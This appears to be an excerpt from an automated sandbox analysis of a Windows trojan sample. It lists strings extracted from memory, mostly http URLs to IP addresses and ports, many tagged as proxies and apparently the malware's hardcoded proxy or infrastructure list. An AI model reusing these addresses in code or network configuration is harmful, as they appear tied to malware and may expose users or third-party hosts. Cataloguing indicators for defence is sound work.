Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.131.178:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.132.238:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.132.238:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.137.49:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.137.49:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.144.132:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.144.132:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.149.133:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.149.133:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.158.70:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.158.70:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.169.27:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.172.169.27:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.181.123.54:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.181.123.54:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.44.102.166:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.44.102.166:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.44.253.160
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.44.253.160://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://163.44.253.160:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.112.254:19919
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.112.254:19919://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.112.254:31259
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.112.254:31259://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA9E6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C796D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.163.73:48444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C796D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.163.73:48444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.170.100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.170.100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.132.170.100:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.163.21.14:8291
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.163.21.14:8291://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.77.240.28:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.77.240.28:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.90.184.248
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.90.184.248://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.90.184.248:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:52306
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:52306://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:55588
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:55588://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:63373
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:63373://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:63722
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.237.188:63722://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.85.180:23971
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C695D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.85.180:23971://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.85.180:36655
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.85.180:36655://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.86.113:54093
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.86.113:54093://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.86.113:62987
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.86.113:62987://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.86.113:64110
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://164.92.86.113:64110://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBED6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.140.166.177:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBED6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.140.166.177:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.154.224.14
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.154.224.14://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.154.224.14:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.154.236.214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.154.236.214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.154.236.214:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.154H
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.27.109:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.27.109:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.27.43:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.27.43:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.55.19:44444
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.55.19:44444://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C902F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.60.231:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.16.60.231:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.22.204.32:59166
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.22.204.32:59166://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.225.216.80:10605
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.225.216.80:10605://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.0.192
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.0.192://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.0.192:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.104.122:29992
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.104.122:29992://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB2D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.104.122:41443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.104.122:41443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.104.122:58839
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.104.122:58839://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8ECC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.196.37:58628
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.196.37:58628://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.196.37:61899
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.196.37:61899://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.227.196.37:61899x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.232.129.72:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://165.232.129.72:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.121.127:45248
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.121.127:45248://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.35.102:45775
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.35.102:45775://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:2453
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:2453://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:39308
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:39308://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:4765
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBB63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:4765://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:55671
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:55671://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:8730
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.38.100:8730://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.53.45:56862
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.53.45:56862://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCB72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.85.184:21946
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.85.184:21946://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC8FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.85.184:54347
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.85.184:54347://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.87.148:16744
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.87.148:16744://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.87.148:40591
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.87.148:40591://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.87.148:42801
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.87.148:42801://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A72000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.88.163:1992
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.88.163:1992://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.88.163:51350
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.88.163:51350://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.88.163:54445
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://166.62.88.163:54445://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.114.107.37
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.114.107.37://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.114.107.37:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.100.244:11562
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.100.244:11562://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:37355
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:37355://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:39452
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:39452://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://167.172.109.12:39533
